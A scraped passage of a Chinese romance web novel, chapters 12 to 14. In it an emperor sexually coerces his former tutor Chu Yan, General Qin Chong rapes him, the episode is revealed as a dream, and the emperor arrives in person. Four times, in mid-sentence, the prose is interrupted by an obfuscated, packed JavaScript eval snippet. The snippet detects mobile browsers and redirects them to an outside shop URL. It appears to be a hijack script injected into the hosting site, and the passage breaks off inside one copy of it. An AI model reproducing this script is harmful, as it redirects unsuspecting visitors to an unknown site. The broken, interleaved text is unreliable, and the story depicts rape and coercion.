“朕希望秦将军你不要因为个人情感忘了你身上肩负的责任。”他将怀里的人转了一个方向,面对面抱着他,“朕希望你明天就动身去南部平叛。” “临行前,楚相有话对你说。” 话音刚落,他身上的楚晏和门外的秦冲同时一怔。 皇帝抬手解开楚晏眼睛上的帛带,微微笑着着看着他:“昨晚的事情朕不怪你,这次是他的副将,下次……”说到这里,他顿了顿,满意地看到了楚晏眼里的惊慌,“他这一去,是生是死,全掌握在你的手里,该怎么说,不用朕教你吧?” 刹那间心如死灰,楚晏麻木地穿好衣服,推开门走了出去。 秦冲看见他,猎鹰一般锋利的眼睛里是难以置信与心痛,楚晏此刻从御书房出来意味着什么不言而喻,“你……” 楚晏眼神闪了闪,压下心中苦涩,“秦将军保重,我……与皇上待将军凯旋。” 秦冲冲上来握住他的肩膀:“是不是他逼你?” 楚晏垂下眼眸,心里麻木得如同一潭死水:“没有,我是自愿的。” “老子不信!”秦冲怒吼,“一定是他逼你!” “什么皇帝?!敢动老子的人!大不了老子跟他拼了!”秦冲说着,放开楚晏就要冲进去。 “站住!” 秦冲转过身来,迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997163|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面就是一巴掌,他望着楚晏,黑眸中满是不可置信:“你打我干什么?” 楚晏看着他,美丽的眼睛里是他看不懂的情绪,“秦将军想要弑君么?” 秦冲点头:“对啊!老子就是想弑君了怎么着吧?” 楚晏微微一笑:“秦将军如今手无寸铁,只要秦将军一动手,皇宫大内所有的士兵顷刻就会把秦将军围住,秦将军再勇猛无敌,也终有力竭的时候。”楚晏说到这里,看了他一眼,那眼神是他从未见过的冷漠,“所以,我劝秦将军还是不要做傻事了。” 秦冲忽然觉得这个人很陌生。 “如果秦将军非要动手的话,那么,我将与皇上共存亡!” 话里掷地有声的坚定让秦冲一震。 “说得好!不愧是朕的楚相!”萧寒推门而出,把楚晏往怀里一搂,笑着看向秦冲,“秦将军还有何话要说?” 一时间,被欺骗,被背叛的感觉如潮水般涌向了他,他狠狠瞪着皇帝怀里那绝情人,“好!好得很!秦冲无话可说!” 萧寒面色一冷:“秦将军意图弑君,来人!” 楚晏忽然跪下:“臣恳求皇上给秦将军一个机会,如今南部叛贼作乱,正是用人之际,况且秦将军方才只是一时气话,并未真正动手,若秦将军平叛不力,皇上再发落也不迟。” 萧寒看着跪在地上的人,眼神暗了暗:“要朕放过一个意图弑君的人,楚相可真是胆大啊!若朕答应了,楚相如何报答朕?” 楚晏一颤,他多想秦冲现在就站出来带他走,可是,秦冲再也不会为他求情了,认命地闭眼:“一切听凭皇上安排。” 皇帝满意一笑,扶他起来:“朕为你准备了一个有趣的玩意儿,已经派人送到了你的府上,今晚戴着它来见朕。” “臣……遵旨。”楚晏已经没有勇气抬头,更不敢想象秦冲会怎样想他。 皇帝以一个胜利者的姿态看向秦冲,施舍一般地道:“既然楚相为你求情,朕就准你戴罪立功。” 秦冲怒吼:“老子不需要!” 楚晏抬头,挑衅似的看他,“秦将军莫不是怕了那叛贼?” 秦冲被激得一怒:“老子会怕?你问问我那些兵老子怕过谁!老子现在就去南部!”说完,转身就走。 楚晏看着那个高大的背影,心中苦涩难当,这一次,他是真的走了。 这一走,不知何时才能再见,他还能不能挨到再见的那一日。 昨夜的一切仿佛是他的黄粱一梦,那个会哄他、安慰他、说保护他的男人不再属于他了…… 忽然腰间一紧,萧寒的声音打破了他的幻想:“看什么呢?好好想想今晚怎么伺候朕吧!” 三年后,大越一品飞龙将军秦冲于南部反叛,率十万大军一路杀回皇城,宫门破的那一日,秦冲赐了萧寒一杯毒酒。 萧寒端着那杯毒酒,笑着看着秦冲:“朕这辈子最满足的事,就是拥有了楚晏十三年。” 秦冲冷笑:“那是你强迫他的!” 萧寒微笑:“当初,他可是心甘情愿留在朕身边的。” 秦冲眼神一冷,这是他心里的一根刺,这三年,他没有一日不在想着如何杀回来,把那个绝情人关起来,没日没夜地惩罚他。 萧寒冷眼看他:“你以为他跟你的那一日算得了什么?不过是他跟朕闹别扭想换换口味。” “朕知道当初放了你无异于放虎归山,可朕,只要他高兴,就算是要朕死朕也甘愿。” 说到这里,萧寒脸上露出了温暖的笑意:“能有这十三年,朕也知足了,他的骨血里,早已经牢牢刻上了朕的影子,即使你杀了朕,也永远抹不掉!”说完,将杯中毒酒一饮而尽。 秦冲吩咐人处理了萧寒的尸体,暴躁道:“把楚晏给老子带上来!” 35.第十二章 不久,两个士兵押着楚晏进来,即使身处绝境,他的身姿依旧挺拔得如庭前玉树,看到秦冲时,那双美丽的眼睛如同枯木逢春一般一下子亮了起来。 他还是那个白衣卿相,岁月仿佛没有在他脸上留下任何印迹,想想他今年已经三十二岁了,看上去就像一个二十出头的人一样,脸上的皮肤吹弹可破,眼睛清澈得跟一个处子一样,不知道他那白皙的肌肤已经被人留下了多少指印,萧寒多少次醉倒在他的温柔乡,想到这里,秦冲不无恶毒地道:“萧寒已经死了,楚相打算为他殉情么?” 那双美丽眼睛里的光亮瞬间暗了下去。 秦冲走过去,一把捏住他的下巴,“老子还没玩够呢,怎么舍得让你死?” 他看着他,不无轻挑地道:“等老子玩完了,再让老子的兄弟们乐呵乐呵?楚相觉得如何?” 秦冲一说完,殿内的士兵都恨不得用眼神剥了楚晏的衣服,大越的名相,想想就让人血液沸腾…… 楚晏的心一点一点冷了下去。 秦冲却越来越暴躁,手上越来越用力捏他的下巴:“怎么?哑巴了?三年前的那一日,你不是抱着我叫得很欢么?” 殿内的士兵震惊,这大越的名相也不怎么样嘛,原来早就跟他们将军好过了! 楚晏绝望地闭上眼睛:“秦冲,你若是真恨我,就杀了我吧。” 秦冲心中一震,随即冷笑道:“怎么?不愿意让老子碰你了?” 依旧没有回应,秦冲已经没有耐心了,挥退殿内众人,一把扯开楚晏的衣襟,“楚晏,这是你自找的!” 秦冲粗暴地发泄完,一边穿衣服一边骂:“什么大越的名相?不过如此!都被人玩烂了!” 楚晏失神地躺在地上,秦冲的话语如一根根锐利的钢针,将他的心扎得鲜血淋漓。 秦冲穿好衣服,蹲下去捏住他的下巴,“告诉老子萧寒都跟你玩什么了?从明天开始,老子要一样一样地跟你试!” 那双熟悉的鹰眼里满是轻挑,再也不是从前那个忠实得有点笨拙的秦冲了,楚晏闭上长睫,泪水从那白皙如玉的脸上滑落。 这一幕刺痛了秦冲的眼,他告诉自己眼前这个人不过是个玩弄他感情的贱人,没什么好同情的,“哟,怎么还哭了?不想试?这可由不得你!你不说没关系,老子听说萧寒专门为你淘了一屋子的好玩意儿,等老子问问人,再一样一样在你身上试。” 楚晏睁开眼,那双美丽的眼睛里一片死寂:“你这样,与萧寒有什么区别?” 秦冲暴躁道:“管他什么区别!你让老子不痛快,你也别想痛快!” 楚晏顿了一下,忽然问道:“你知道这三年我都在想什么吗?” 秦冲一怔。 “在想你过得好不好,战事顺不顺利,什么时候回来,我还能不能再见到你……” “这三年里我多少次想死,但一想,只要活着,就还能再见到你,我就不敢死了。” 听到这里,秦冲才明白过来,懊悔如潮水般向他涌来。 “如今,我终于见到你了……”楚晏说着,微微笑了一下,秦冲却有一种不好的预感。 “我才明白,我的等待,彻头彻尾就是个错误!”楚晏说完,齿间用力咬下。 耳边响起秦冲焦急暴躁的怒吼,可那都不重要了,他能感觉到生命在慢慢流逝,眼前的一切暗了下去。 当一切再次亮起来的时候,他躺在自己的床上。 这是他客栈的房间,他还是那个毅然辞官追寻自由的楚晏,并不是被萧寒凌辱困在皇宫的丞相楚晏。 原来之前的一切,只是一个长长的梦啊! 还没待他细细回味,便听见外面有人敲门,他披上衣服下去开门。 见到外面的人时,他怔了一下。 秦冲站在外面,高大的身影带着一些笨拙,望着他的眼里满是懊悔与自责:“楚……” 秦冲刚说了一个字,楚晏砰的一声把门关上。 秦冲在外面大力拍门,“楚掌柜!楚掌柜你听我说!” 楚晏出了会儿神,才冷漠道:“你不要再敲了,我是不会给你开门的,你回去吧。” 他说完,走到桌边坐下,随手拿了一本书看,可一翻开书,烦杂的情绪、梦里的回忆一股脑扑向他,他的心很乱,根本看不进去。 这时窗户被人推开,秦冲翻了进来。 楚晏震惊了一下,“你……” 那个青年看着他,笨拙地道:“我……我只是想跟你说,我错了,我不该那么对你,我误会你了,你打我骂我都可以,就是别不理我……” “你……”楚晏平复了一下心绪,“你让我好好静一静。” 秦冲心中一亮,期待地看着他:“你要静多久?” 楚晏垂下眼睫:“我不知道,你回去吧。” 秦冲却没有动,拳头紧了又松,“梦里你被萧寒……是真的吗?” 楚晏抬眼看着他,“如果是真的,你当如何?” “如果是真的,我现在就杀回皇宫,搅得他个鸡飞狗跳不得安宁!” 楚晏哑然,有些不知该说什么好,这还确实是他的作风。 见楚晏没有说话,秦冲便以为是真的,一时间气愤难当,“果然是真的!你在这等着我,老子现在就给你报仇去!”说完,转身就走。 “站住!” 秦冲回头,楚晏看向他处,有些不自然地道:“我确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007259|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做过丞相,但我早在二十四岁的时候就辞官了,我辞官时候,萧寒还是太子,此前,我教过他四书五经,除此之外,再无交集。” 秦冲听出楚晏话中的意思,嘴角越咧越大,“量那小子也不敢动你!” 说着,他又忍不住想,也就是说,楚晏也许还没有被人…… “你可以走了。” 正在他遐想之际,楚晏的声音打断了他的遐想。 “那我走了。” 秦冲失落转身,又忍不住回头,充满希冀地看着楚晏问:“我们……还是朋友吗?” 楚晏眸光闪了闪,告诉他也告诉自己:“那不过是个梦而已,不要太过当真了。” 秦冲便理解为楚晏并没有怪自己,一时乐开了花,冲上去抱住了楚晏,激动地道:“我太开心了!你没有怪我,我太开心了!” “秦……秦冲!” 楚晏挣扎着挣扎着,对上青年晶亮的双眼,那眼睛盛着的是喜悦、是令人溺毙的温柔、还有山川一般连绵不绝的情意。 秦冲也怔住了。 眼前的人,眼睛美得如一片蔚蓝的湖水,美丽又清澈,皮肤如羊脂玉一般光滑细腻,嘴唇粉得水润,好似在等他品尝。 他不禁想到他无数次在梦里进入那温柔乡的感觉。 那里温柔如水,他来又抗拒,他走,又舍不得他走。 真真是人间仙境啊! 于是,他情不自禁地低下头去吻他,结果迎来了一个清脆的巴掌。 楚晏从他的怀里挣脱开,声音微冷:“秦冲,作为朋友,你逾距了。” 秦冲恨不得直接把人按在怀里,亲到他流着眼泪好哥哥地求着自己放过他,但是最终他忍住了,“对不起,我失态了。” 说完,转身离开。 一个人坐在桌前,楚晏忽然有一种怅然若失的感觉,刚才……秦冲是想吻他吧? 思绪不禁飘到之前做的那个梦。 十九岁刚中状元被萧寒凌辱困在宫里十年的他,遇见了二十三岁大胜归来被封为一品飞龙将军的秦冲。 这个梦,到底意味着什么呢? 第二天早晨,楚晏洗漱过后,禾玉来敲门:“掌柜的,外面有位京城来的故人,说想见你。” 他做官的时候不善与人交往,熟络的人不是在外地做官就是已经告老还乡。 京城来的故人?会是谁? 楚晏走出来的时候,看到一个锦绣华袍的男子逆着光,负手而立。 似乎感应到了什么,男子转过身来,露出一张年轻英俊的脸来,凤目深邃地望着他,浑身散发着不怒自威的帝王之气,却温文尔雅地向他揖了一礼:“老师,五年不见,别来无恙。” 36.第十三章 楚晏浑身一震,这个声音他太熟悉了,在梦里他无数次地听到过,那是他挥散不去刻入骨髓的梦靥。 见楚晏脸色不好,萧寒走过来关切地询问:“老师,你怎么了?” 楚晏后退了一步:“我没事。”努力平复了一下心境,告诉自己那只是个梦而已,“你怎么过来了?宫里那边……” 萧寒微微一笑:“我来南部微服私访,顺便来看看你。” “为了方便,我让侍卫把这里的人都清出去了,老师不会介意吧?” 楚晏摇头道:“皇上远道而来,未能相迎,是我的罪过。” 萧寒摇头笑了:“老师,这里不是皇宫,叫我萧公子就好。” 眼前的男子温润如玉,和梦里那个偏执暴戾的皇帝截然不同,楚晏顿时松了一口气,“萧公子。” 萧寒环顾了一下四周,店内装饰简单却不失雅致,桌椅板凳干净整洁,阳光顺着窗户透进来,到处都散发着一种暖洋洋的气息,笑道:“老师这里的生活真惬意啊,我也想长住在这里了。” 楚晏笑了笑:“你若喜欢,可以常来。” “楚掌柜,咱们之前早上跑步的事儿……” 这时,秦冲大着嗓门从楼上走下来,他有一阵子没和楚晏一起跑步了,经过之前的事,也不敢轻易早上去打扰楚晏,他刚往楼下一看,就看见楚晏跟一个男人有说有笑,心里登时一怒,待他看清那个男人时,顿时警觉起来,“皇……” 萧寒和楚晏听见动静,一同望过来。 萧寒微讶:“秦将军也在?” 梦里的情形还历历在目,秦冲对于萧寒的到来十分警惕,“皇上怎么来了?” “我来南部私访,在外叫我萧公子。”又转头看向楚晏,“老师可认识秦将军?” 楚晏点头,萧寒奇怪:“秦将军如何住在这里?沂水知府没为将军安排住处吗?” 秦冲拉下脸来:“秦冲早已不是将军了,萧公子一口一个秦将军,是在讽刺秦冲吗?” 萧寒歉意地笑笑:“我并无此意,朝中派系倾轧,派将军来这里实乃权宜之计,等一切平息,我就请将军回朝。” 秦冲摆手:“别了!我在这儿过得挺好的!” 萧寒略有些尴尬,楚晏解释道:“知府那边说秦将军的府邸得半个月才能建好,就先住到我这里了。” “原来如此。”萧寒点头,似乎不经意地问:“老师和秦将军似乎很熟?” 秦冲不无自豪地道:“当然熟了!我还跟楚掌柜天天一起跑步呢!” 萧寒惊讶:“一起跑步?” 楚晏咳了咳,“我身体不太好,所以……” 萧寒立刻关切地问:“老师身体如何?用不用我给你请太医过来?” 楚晏摇头:“不用,只不过是前些时日染了风寒,现在已经好了。” 萧寒这才放下心来,看着他道:“老师要注意身体啊,学生很担心你。” 那凤目里关切似乎有些过于灼热了,楚晏有些招架不住,“我是教过你,但你如今已是皇帝,我也不在朝中做官,不必如此。” “一日为师,终身为……”说到这里,他意味深长地看了楚晏一眼,“老师教我诗书,教我做人,老师的恩情,学生不敢忘。” 皇帝如此坚持,楚晏也不好说什么,反倒是秦冲听不下去了,“你们两个就别在这里文绉绉了!萧公子,我找楚掌柜还有事,你能回避一下吗?” 这话丝毫不顾及萧寒的情面,楚晏忍不住担忧起来。 只见萧寒微微一笑,看向秦冲,“想不到秦将军做了都督,还是这个脾气啊!” 秦冲最恨别人拿他被贬的事情说事,但是他现在已经无所谓了,“我知道你啥意思,大不了这个都督我也不当了呗!” 萧寒终于绷不住了,脸色一变:“秦冲!” “就算是个平民百姓,也知道起码的礼仪,更何况你面前的是朕!” 古语云,天子一怒,伏尸百万,流血千里。 如今天子已经发怒,秦冲却丝毫不惧,还在顶嘴:“皇上不是微服出巡么?什么是微服?不就是入乡随俗与民同乐么?” “秦冲,你当真以为朕不会治你?” “要杀要剐,悉听尊便!” 都是二十多岁的人了,吵得像个小孩儿似的,楚晏忍不住噗嗤一声笑出来。 两人同时向他看过来,不约而同地呆住了。 那白玉如雪似的人儿笑弯了眉眼,温柔得似山间的春风,溪间潺潺的流水,又好似高高在上清冷的月光,一下子变成了枝头俏立的灼灼桃花,一阵微风拂过,刹那间落满了心田。 见两个人都在看着自己,楚晏也不好意思笑了,“你们……不吵了?” 萧寒觉得自己还有更重要的事情要做,期待地看着楚晏,“老师,我这些日子可否住在你这里?” “可以。” “不行!” 楚晏诧异地看向秦冲,秦冲微笑着看着萧寒,“萧公子身份尊贵,这里又小又挤,恐怕你会住不习惯,还是让知府给你安排个更大的住处吧!” (楚晏:你敢说我这里又小又挤? 秦怂怂:媳妇儿我错了,我这不是给你赶恶人呢么! 萧寒:你敢说我是恶人? 秦·瞬间气场一米八·不怂:就说了怎么地吧!) 萧寒亦微笑:“不用那么麻烦,老师这里就挺好。” 秦冲脸色一沉:“不行!我觉得不好!你不能住在这儿!” “秦冲!”楚晏实在听不下去了,低吼了一句,又对萧寒道:“只要萧公子不嫌弃,就住在我这里吧。” 萧寒笑得温和:“怎么会?在我心里,老师这里就是最好的。”而后以胜利的姿态看了秦冲一眼:“秦将军不是还有事找老师么?我就不打扰了。”说着,唤了一声“”,走上了楼。 “哎!来了公子!”从门外跑进来一个小厮打扮的人,跟着萧寒上了楼。 秦冲怒气冲冲地一把拉住楚晏拖到后院。 那力道大得让楚晏蹙起眉头,他甩开秦冲的手:“你拉我做什么?” 秦冲恨声道:“还拉你做什么?那皇帝小子安得什么心你看不出来吗?眼睛都快粘在你身上了!你还让他住在这里?” 楚晏不赞同他的说法:“你胡说什么?我做过他的老师,他只是尊重我。” 秦冲冷笑:“尊重你?我看他是想把你哄晕了再趁机对你不轨吧!” 楚晏解释道:“你怎么能这么想?他是皇帝……” 秦冲抢话过来:“皇帝?在梦里他对你干了多少腌臜事,你忘了?” 楚晏回想起来,脸上臊热不已:“秦冲!” “那只是个梦而已!” 秦冲嗤笑一声:“梦?谁知道他心里是不是这么想的!” 楚晏无奈道:“这是我们俩的梦,跟他有什么关系?你不要多想了。” 秦冲张了张口,一时间哑口无言,半晌才道:“那他大老远跑过来,还主动要求住在你这里,指定没安什么好心,你离他远点!” “我自有分寸,你若还想做你的都督,就少惹他。”楚晏说完,和他擦身而过。 秦冲忽然想明白了什么,看着他的背影,大声问道:“你是在关心我吗?” 楚晏脚步一顿,声音清清冷冷:“朋友之间的关心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019663|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秦冲勾了勾唇,“你在梦里主动吻我的那一日,我们……” 楚晏回想起来,脸上一热,连忙道:“那只是个梦而已,你不要多想了!”说完,快步走进房里关上房门,他背抵房门,听见自己慌乱的心跳,不过是一场梦,他为什么会这么紧张? 难道……他真的对秦冲产生了感情? 这个想法一出现,他心里一惊。 这时,背后有人敲门,他吓了一跳,“谁?”难道秦冲还没走? 门外传来萧寒的声音:“老师,是我。” 他松了一口气,打开门:“什么事?” 萧寒笑意盈盈地站在外面:“从前我记得经常与老师弈棋,不知老师可否有兴趣再与学生对弈一场?” 楚晏酷爱琴棋诗画,棋技之高天下难寻敌手,平生只得两个对手,一个是南陵王萧弈,另一个就是萧寒。 自从辞官来到这里后,他便只能左右手互弈,如今萧寒主动请求,他当然不会拒绝,当即说了声好。 萧寒笑道:“我已命人在院子里布好棋盘,老师,请。”说着,做出了一个“请”的动作。 待楚晏走到院子里,见到那棋盘时,身子颤了一下。 那棋具做很精致,由琉璃制成,一枚枚棋子玲珑剔透,蓝色与紫色交相辉映,铺就成一片璀璨的星河。 可他却想起梦里他被萧寒困在宫里时,也有这样一副一模一样的棋具。 他被逼着跟萧寒下棋,下着下着,萧寒就将他压在棋盘上,那一枚枚玲珑剔透的棋子成了萧寒玩弄他的工具…… 萧寒看出楚晏脸色不对,关切地问:“老师,你怎么了?怎么脸色这么难看?” 楚晏阖上眼眸,告诉自己这只是个巧合而已,再次睁开,“没事,下棋吧。” 萧寒执了一枚蓝子,在手里把玩了一下,不知想到了什么,勾了下嘴角,凤目灼灼地看向楚晏:“老师先请。” 楚晏也不客气,执紫先行。 两人棋逢对手,对弈正酣,蓝紫交错让人眼花缭乱,直到萧寒摊手,微微一笑:“老师,我输了。” 楚晏神色复杂看着他:“你在让我。” 萧寒的棋是他教的,萧寒很聪明,教了不到一个月,就到了与他对弈胜负各半的水平,如今五年过去,就算疏于练习,也不该一刻钟不到就认输的地步。 萧寒摇头道:“学生没有让老师,是学生棋技退步了。” 楚晏不信。 萧寒忽然撩起下摆,双膝跪地,目光殷切地看着楚晏:“学生恳请老师回朝。” 楚晏被吓了一跳。连忙去扶他:“你这是做什么?快起来快起来……” 萧寒摇头,言辞恳切道:“老师十九中状元,二十二岁便高居丞相之位,在国内开设数十所供寒门弟子读书的书院,临泽大旱,您亲去开府库,施粥救济,岭南洪水泛滥,您亲去指挥救灾,督建堤坝……上任三年中,救百姓数万余人,数万寒门学子有书可读,大越境内人人称道,所到之处百里相迎。您是大越最好的相国,如今朝中派系倾轧,大越根基将不稳,正需要您这样一位有名望的人去镇压动乱的朝臣之心啊!” 楚晏摇头:“我已辞官,再不会理朝堂上的事了……” 萧寒坚持:“学生刚才看到您书架上摆着的兵法、政要、河防、农书……还有沂水知府这几年政绩显著,学生知道这里有您的功劳,这几年其实是您一直在暗中指导沂水知府管理沂水,学生还知道您一直在密切关注朝堂上的情况……” 楚晏没有动也没有说话。 萧寒知道自己说中了:“老师,回来吧,大越需要你,学生……也需要你。” 37.第十四章 楚晏此刻心很乱,萧寒说的固然是真的,他确是一直在默默关注着朝堂,但他也真真正正喜欢上了这里的生活。 当初他就是因为朝堂太多勾心斗角所以才毅然辞官,可是如今大越需要他…… “他是不会跟你回去的!” 这时,秦冲大踏步地走了过来。 萧寒脸色一沉:“我问的是老师,秦将军如何能为老师做主?” 秦冲毫不客气地道:“朝堂乱,你这个皇帝是干什么吃的?作为皇帝,你连自己的臣子都管不好么?” 萧寒顿时火冒三丈:“秦冲!朕看你是不想活了!” 眼见着事情即将一发不可收拾,楚晏及时开口制止:“你们不要吵了,给我点时间,我需要好好想想。” 萧寒神色缓和了些,对楚晏道:“那老师你好好想想,尽快给我答复。”而后冷冷看了秦冲一眼,“秦都督不想干了就直说,我大越不缺你一个都督!”说完,拂袖离去。 “老子早就不想干了!你有本事就撤了我,以后打仗千万别找我!” 秦冲不服气地吼回去,楚晏冷着脸拉住他:“还嫌不够乱么?!” “那皇帝小子就是没安好心!还请你回去,请你回去就把你……” 楚晏瞪他一眼,秦冲就不敢再继续说了。 “以后不许随便到我的院子里来!”楚晏冷冷说了一句,甩开他的手,向自己的屋子走去。 “我不来……我不来你就被那小子给拐跑了!”秦冲追上去,一把将人扳过来。 “你干什……唔……”还没待楚晏反应过来,两片薄唇就压了下来。 楚晏本能地挣扎,可男人的力道很大,他那点挣扎根本无济于事,只能被动着叫人肆意侵略城池。 秦冲狠狠亲了一番才放开楚晏,美人发丝略显凌乱,白皙如玉的脸上晕染上两团红晕,淡粉色的唇泛着水润的光,那是被他亲的。 秦冲满足地笑了:“先给你定下来,免得被别人抢了先。” 不出意料换来一个响亮的耳光,秦冲毫不生气,反而嘿嘿笑起来,“打就打吧,打是亲骂是爱,我是第一个亲你的人吧?” 楚晏冷冷看着他:“出去!” 秦冲还在问:“是不是啊?” “我叫你出去!”楚晏脸色很沉,眼看着就要爆发。 秦冲得了便宜,也不好继续惹怒他,见好就收的道理他还是懂的,“那你小心点皇帝小子,别答应跟他回去啊!”赶紧嘱咐一句跑了。 楚晏回到房里,脑袋里很乱,心里也很乱,梦境和现实经历的事情不断在他脑海里回放,头一晕,倒了下去。 到了中午,禾玉进来打算喊掌柜吃饭,发现了晕倒的楚晏,他慌张地喊人,秦冲和萧寒闻声而来。 秦冲率先冲上去,一摸楚晏额头滚烫:“快去给老子请大夫!” 大夫说楚晏这是染了风寒,需要好好休养几天,开了几味药一日三次煎服。 送走大夫后,秦冲得意洋洋地看着萧寒:“他染了风寒,不能跟你回去了。” 萧寒微笑看他:“不急,这几日,我要亲自照顾老师,等老师好了我们再商议回京城的事。” 秦冲不服气了:“凭什么你照顾?我来照顾他!” 萧寒挑了下眉:“你照顾?好啊!那我倒要问问你,他是我老师,我照顾他是理所应当,你是他什么人?” “我……”秦冲迟疑了一下,随即吼道:“我是他朋友!” “朋友?” 萧寒冷笑一下,正待说什么,这时,阿昭敲了敲门,在外面喊道:“爷!衙门那边有人闹事,要您过去。” 秦冲本来就心情不好,阿昭又来添乱,“有人闹事不会找知府吗?” 阿昭回道:“知府大人病了,下不来床了,要不也不能找您不是?” “病了?”早不病晚不病偏偏这个时候病,怎么就知道添乱呢!秦冲气得想骂人。 萧寒笑着看他:“秦都督,百姓可等着你为他们做主呢,还不快去为民解忧啊?” 秦冲看了眼床上的楚晏,又看了眼微笑着的萧寒,开门把阿昭拉进来,“你在这给我看着他,别让他对楚掌柜乱来!” 随后狠狠瞪了一眼萧寒:“我警告你,你要是敢对他乱来,我绝饶不了你!” 萧寒亦冷道:“秦冲,朕也告诉你,朕忍你到现在是因为老师,你给我记住了,再对朕不敬,朕砍了你!” 秦冲不屑:“我秦冲这辈子就没怕过谁!逼急了我造反去!”说完,径直走了出去。 “反了你了!朕回去就治你个……”萧寒气得吼了一句,又顾及床上的楚晏只好作罢。 阿昭看着处于低气压的皇上,瑟瑟缩缩,“皇……皇上……” 萧寒冷眼看他:“你还在这干什么?监视朕么?” “可……可是……”他要是走了,爷会打死他的吧? 萧寒看出他在想什么,“你要是不走,朕现在就能砍了你的脑袋!” “皇上您忙小的不打扰你了!”阿昭说完一溜烟跑出去带上了门,小命要紧,爷对不住了您呐! 萧寒走到床边坐下,笑得满足又温柔:“老师,终于,只有我们两个人了……” 楚晏迷迷糊糊地醒来,他感觉脑袋很晕,浑身很热,又感觉有些不对劲,他身上盖着一床被子,而被子下的身体竟是光裸的! 而后看见萧寒端着一碗药过来,眼睛里带着惊喜:“老师,你醒了?” 他的玉龙哨也不在,楚晏觉得莫名的心慌:“我的衣服去哪了?我脖子上的哨子呢?” 他记得在梦里的时候,萧寒那时没日没夜地要他,后来他病了,萧寒亲自照顾他,却不给他穿衣服,喂了他药之后,就躺进来对他动手动脚,到最后没忍住还是进来了,以至于他那场病病了很久。 萧寒解释道:“你发烧了,出了很多汗,我便帮你把衣服脱了,至于哨子,我没看见什么哨子啊?” 楚晏抓住了重点:“你……帮我脱的?”他觉得心里很不舒服,梦里的那些场景叫他害怕。 萧寒笑着调侃:“是啊,都是男人,老师难道还害羞么?” 楚晏立刻摇头:“没有。” 他叫自己老师,不是楚卿也不是楚相,也许是他想多了吧。 又问:“能不能帮我找一套新衣服?我这样……不太方便……” 萧寒走到他床边:“我叫人给你去买了,不急,先起来把药喝了。” 楚晏只好裹紧被子坐起来。 萧寒好笑地看他一眼,坐下来,动作熟稔地舀起一勺药,递到楚晏唇边。 楚晏不太习惯,伸手去拿药碗,“我自己来吧。” 萧寒把碗一让,笑得温柔又宠溺:“跟朕还客气什么?从前朕不是也这样喂你?”那神情和语气熟稔得就像做过千百次了一样。 楚晏心头一跳,萧寒什么时候喂他喝过药?除非…… 他不敢看萧寒,颤着声音问:“你从前……什么时候喂我喝过药?” 萧寒一笑:“是我记错了,我把老师当做宫里的妃子了。老师不必紧张,喂老师喝药是学生应尽的责任,来,喝药吧。”说着,又把勺子递到他唇边。 楚晏放下心来,张口喝了勺中的药。 见楚晏喝了药,萧寒笑得愈发宠溺,又舀了一勺递过去,楚晏照旧喝了,又想到了什么,问他:“秦将军呢?” 萧寒舀着药,漫不经心地答:“衙门有事,把他叫走了。” “这样啊……”楚晏心中有些失落。 萧寒的勺子递过来:“老师似乎很关心秦将军?” 楚晏一顿,道:“毕竟他住在我这里,我们是朋友。” “朋友……”萧寒玩味地点点头,提醒:“喝药吧。” 待楚晏喝完勺中药,听到萧寒说:“我看秦将军对你……可不是朋友这么简单。” 楚晏心头一跳,“你为何会这么说?” “他为了你,处处顶撞我。” 楚晏试图解释:“秦将军这个人性子比较直……所以……” 萧寒打断他:“秦将军什么意思,老师不会看不出来吧?” 楚晏一顿,看到那双凤目中的了然,“老师,对秦将军是什么想法?” 楚晏不由自主地想到那个吻,眼神闪了闪,“我……当他是朋友。” 萧寒眼神玩味,舀了勺药递过来,“药快凉了,喝药吧。” 接下来两人没再说话,直到一碗药喝完,萧寒走出去把药碗递给外面的小厮,回头看见楚晏难为情地看着自己,“我的衣服还没送来吗?我想……如厕。” 萧寒一下子笑了,“还要等一会儿。”说着,召来小厮送来一个恭桶,“将就一下吧。” 楚晏望着地上的恭桶,想到梦里的时候,萧寒要了他很久,直到他想如厕,萧寒也是这样叫人送来一个恭桶,直接抱着他就…… “老师,你怎么了?” 见萧寒望着自己,楚晏努力告诉自己那只是个梦而已,对萧寒道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 